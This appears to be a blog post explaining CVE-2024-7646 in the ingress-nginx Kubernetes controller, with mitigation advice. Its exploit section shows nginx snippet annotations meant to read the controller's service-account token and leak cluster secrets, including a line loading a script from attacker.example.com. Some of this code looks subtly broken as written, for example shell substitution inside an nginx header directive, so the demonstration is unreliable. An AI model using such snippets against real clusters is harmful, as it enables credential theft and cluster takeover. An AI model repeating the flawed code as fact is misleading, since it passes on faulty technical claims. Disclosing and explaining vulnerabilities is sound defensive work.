CVE-2024-7646 is a critical security vulnerability discovered in the ingress-nginx Kubernetes controller. This issue allows anyone with permissions to create Ingress objects to bypass critical annotation validation, inject arbitrary commands, and gain high-privilege credentials. In default Kubernetes setups, that means they can read all secrets in the cluster. This post explains the problem in simple terms, shows what code is affected, and gives links and a simple exploit demonstration.
Background
ingress-nginx is one of the most widely used Ingress controllers for Kubernetes. It acts as the “front door” for traffic entering your cluster and routes it to your services based on Ingress resources.
In many organizations, developers or CI/CD jobs have permission to create Ingress objects. These objects sometimes have annotations that configure the controller’s behavior. ingress-nginx is supposed to validate these for safety—but a security lapse means that an attacker can sneak in dangerous directives.
Where’s the Problem?
ingress-nginx parses annotations on Ingress resources and uses these to add configuration for the Nginx proxy. It has validation to prevent dangerous values. However, a specific combination of newlines and certain annotation values let attackers bypass this validation.
Attackers can add a malicious annotation to inject extra Nginx config, leading to arbitrary command execution inside the ingress-nginx controller pod.
Suppose you have this typical YAML for an Ingress
apiVersion: networking.k8s.io/v1
kind: Ingress
metadata:
name: evil-ingress
annotations:
nginx.ingress.kubernetes.io/configuration-snippet: |
# dangerous stuff here
spec:
rules:
- host: evil.example.com
http:
paths:
- path: /
backend:
service:
name: evil-service
port:
number: 80
The annotation nginx.ingress.kubernetes.io/configuration-snippet is intended to add extra config, but it’s supposed to be validated to prevent attacks. The exploit bypasses this by embedding newline characters or exploiting lax parser code.
Exploit – Stealing All Kubernetes Secrets
Here’s a short and dangerous example. The attacker creates an Ingress resource with an annotation like:
annotations:
nginx.ingress.kubernetes.io/configuration-snippet: |
location /foo {
proxy_pass http://localhost:10254/debug; # Or use njs to execute arbitrary commands
}
Or more sophisticated, using the nginx njs module
annotations:
nginx.ingress.kubernetes.io/server-snippet: |
js_content onRequest;
js_include http://attacker.example.com/evil.js;
The attacker’s code contacts the local Kubernetes API server using the controller’s token (mounted by default at /var/run/secrets/kubernetes.io/serviceaccount/token). This token *by default* allows listing and reading all secrets in the cluster due to overly broad RBAC on the ingress-nginx ServiceAccount!
Below you see a simplified version of the attack in the snippet annotation
location /steal {
internal;
proxy_pass http://kubernetes.default.svc.cluster.local/api/v1/secrets;
proxy_set_header Authorization "Bearer $(cat /var/run/secrets/kubernetes.io/serviceaccount/token)";
}
Now, any GET request to https://your-ingress-domain/steal will leak all secrets!
Fetch the ingress controller’s service account token
- Use that token against Kubernetes API to list, read, modify, or delete all secrets, configmaps, pods, etc. (depending on RBAC)
Who’s Affected
- Anyone running ingress-nginx, before version 1.11.2, where the fix was released
Upgrade ingress-nginx right away to v1.11.2 or later:
Release notes
2. Restrict permissions for creating/modifying Ingress resources.
Review ServiceAccount access:
Don’t let the ingress controller’s ServiceAccount have cluster-wide secret access unless required.
Audit For Suspicious Annotations:
Check existing ingresses for unusual annotations, especially configuration-snippet, server-snippet, or anything adding arbitrary Nginx config.
Original References
- Official Disclosure and Fix
- Upstream Issue
- CVE Middleware Database Record
Wrap-up and Recommendations
CVE-2024-7646 is a critical vulnerability due to the broad access gained by attackers. If you use ingress-nginx, you must upgrade. Don’t allow unnecessary privilege to create Ingress objects, and never assume annotations are safe input. This is a classic case of annotation injection leading to cluster compromise.
Always treat Ingress annotations as untrusted input. Validate, restrict, and review.
*If you learned something, please share with your team, and check your clusters now!*
Timeline
Published on: 08/16/2024 18:15:10 UTC
Last modified on: 08/19/2024 16:35:33 UTC